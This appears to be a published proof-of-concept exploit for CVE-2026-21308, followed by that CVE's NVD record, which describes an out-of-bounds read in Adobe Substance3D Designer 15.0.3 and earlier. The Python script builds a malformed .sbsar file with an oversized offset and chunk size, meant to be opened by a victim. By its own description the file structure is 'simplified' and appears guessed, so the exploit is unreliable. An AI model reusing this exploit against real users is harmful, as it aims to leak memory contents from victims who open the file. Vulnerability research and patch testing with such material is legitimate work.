CVE-2026-21308

# CVE-2026-21308 PoC - Malicious Substance3D Designer File # This PoC creates a malformed .sbsar file that triggers out-of-bounds read import struct import os def create_malicious_sbsar(): """ Create a malicious .sbsar file to trigger CVE-2026-21308 Out-of-bounds Read vulnerability in Adobe Substance3D Designer """ # SBSAR file header structure (simplified) magic = b'SBSAR' # File magic number version = struct.pack('<I', 15) # Version 15.x # Malicious offset pointing beyond valid data # This triggers out-of-bounds read when parsed malicious_offset = struct.pack('<Q', 0xFFFFFFFFFFFFFFFF) # Create payload with malformed data block # The length field exceeds expected boundary payload = b'\x00' * 1000 # Padding # Malformed chunk with invalid size chunk_type = b'CHNK' # Chunk identifier chunk_size = struct.pack('<I', 0x7FFFFFFF) # Invalid large size chunk_data = b'\x41' * 500 # Malformed data # Construct the malicious file malicious_file = magic + version + malicious_offset + payload + \ chunk_type + chunk_size + chunk_data return malicious_file def save_poc(): """Save the PoC file to disk""" poc_data = create_malicious_sbsar() output_path = 'CVE-2026-21308_malicious.sbsar' with open(output_path, 'wb') as f: f.write(poc_data) print(f'[+] PoC file created: {output_path}') print(f'[+] File size: {len(poc_data)} bytes') print('[!] This file should be opened in Adobe Substance3D Designer <= 15.0.3') if __name__ == '__main__': save_poc()

{"cve": {"id": "CVE-2026-21308", "sourceIdentifier": "[email protected]", "published": "2026-01-13T20:16:09.927", "lastModified": "2026-01-14T17:57:49.533", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Substance3D - Designer versions 15.0.3 and earlier are affected by an Out-of-bounds Read vulnerability that could lead to memory exposure. An attacker could leverage this vulnerability to disclose sensitive information stored in memory. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}, {"lang": "es", "value": "Versiones 15.0.3 y anteriores de Substance3D - Designer se ven afectadas por una vulnerabilidad de lectura fuera de límites que podría conducir a la exposición de memoria. Un atacante podría aprovechar esta vulnerabilidad para divulgar información sensible almacenada en memoria. La explotación de este problema requiere interacción del usuario en el sentido de que una víctima debe abrir un archivo malicioso."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:substance_3d_designer:*:*:*:*:*:*:*:*", "versionEndExcluding": "15.1.0", "matchCriteriaId": "A490AE76-8B57-4B39-9A8A-0327D3C8E592"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/substance3d_designer/apsb26-13.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}